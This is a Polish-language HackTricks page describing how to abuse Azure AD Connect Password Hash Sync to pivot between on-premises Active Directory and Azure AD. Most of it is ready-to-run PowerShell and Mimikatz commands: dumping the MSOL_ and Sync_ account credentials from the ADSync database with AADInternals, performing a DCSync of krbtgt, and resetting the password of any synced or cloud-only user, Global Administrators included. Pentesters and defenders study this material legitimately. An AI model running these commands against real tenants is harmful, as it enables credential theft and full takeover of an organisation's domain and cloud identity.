Az - PHS - Password Hash Sync

Wsparcie dla HackTricks

Podstawowe informacje

Z dokumentacji: Synchronizacja haszy haseł jest jedną z metod logowania używanych do realizacji hybrydowej tożsamości. Azure AD Connect synchronizuje hash, hasha, hasła użytkownika z lokalnej instancji Active Directory do opartej na chmurze instancji Azure AD.

To najczęściej stosowana metoda używana przez firmy do synchronizacji lokalnego AD z Azure AD.

Wszystkie użytkownicy oraz hash haseł są synchronizowane z lokalnego AD do Azure AD. Jednak hasła w postaci czystego tekstu ani oryginalne hashe nie są wysyłane do Azure AD. Ponadto, Wbudowane grupy zabezpieczeń (jak administratorzy domeny...) nie są synchronizowane z Azure AD.

Synchronizacja hashy odbywa się co 2 minuty. Jednak domyślnie wygasanie haseł i wygasanie kont nie są synchronizowane w Azure AD. Tak więc użytkownik, którego lokalne hasło wygasło (nie zmienione), może nadal uzyskiwać dostęp do zasobów Azure za pomocą starego hasła.

Gdy lokalny użytkownik chce uzyskać dostęp do zasobu Azure, uwierzytelnienie odbywa się w Azure AD.

PHS jest wymagany dla funkcji takich jak Ochrona tożsamości i AAD Usługi domenowe.

Pivoting

Gdy PHS jest skonfigurowany, niektóre uprzywilejowane konta są automatycznie tworzone:

  • Konto MSOL_<installationID> jest automatycznie tworzone w lokalnym AD. To konto otrzymuje rolę Konta synchronizacji katalogu (zobacz dokumentację), co oznacza, że ma uprawnienia replikacji (DCSync) w lokalnym AD.

  • Konto Sync_<nazwa lokalnego serwera ADConnect>_installationID jest tworzone w Azure AD. To konto może resetować hasło DOWOLNEGO użytkownika (synchronizowanego lub tylko w chmurze) w Azure AD.

Hasła dwóch poprzednich uprzywilejowanych kont są przechowywane w serwerze SQL na serwerze, na którym zainstalowano Azure AD Connect. Administratorzy mogą wydobyć hasła tych uprzywilejowanych użytkowników w postaci czystego tekstu. Baza danych znajduje się w C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Możliwe jest wydobycie konfiguracji z jednej z tabel, z których jedna jest zaszyfrowana:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Zaszyfrowana konfiguracja jest szyfrowana za pomocą DPAPI i zawiera hasła użytkowników MSOL_* w lokalnym AD oraz hasło Sync_* w AzureAD. Dlatego kompromitując te dane, można uzyskać dostęp do AD i AzureAD.

Możesz znaleźć pełny przegląd tego, jak te poświadczenia są przechowywane i odszyfrowywane w tej prezentacji.

Znalezienie serwera Azure AD connect

Jeśli serwer, na którym zainstalowano Azure AD connect jest dołączony do domeny (zalecane w dokumentacji), można go znaleźć za pomocą:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Wykorzystywanie MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Możesz również użyć adconnectdump, aby uzyskać te poświadczenia.

Wykorzystywanie Sync_*

Kompromitując konto Sync_*, możliwe jest zresetowanie hasła dowolnego użytkownika (w tym Globalnych Administratorów)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Możliwe jest również zmienienie haseł tylko użytkowników chmurowych (nawet jeśli to nieoczekiwane)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Możliwe jest również zrzucenie hasła tego użytkownika.

Inną opcją byłoby przyznanie uprawnień uprzywilejowanych dla principal usługi, co użytkownik Sync ma uprawnienia do zrobienia, a następnie uzyskanie dostępu do tego principal usługi jako sposób na privesc.

Seamless SSO

Możliwe jest użycie Seamless SSO z PHS, które jest podatne na inne nadużycia. Sprawdź to w:

Az - Seamless SSO

References

Support HackTricks

Last updated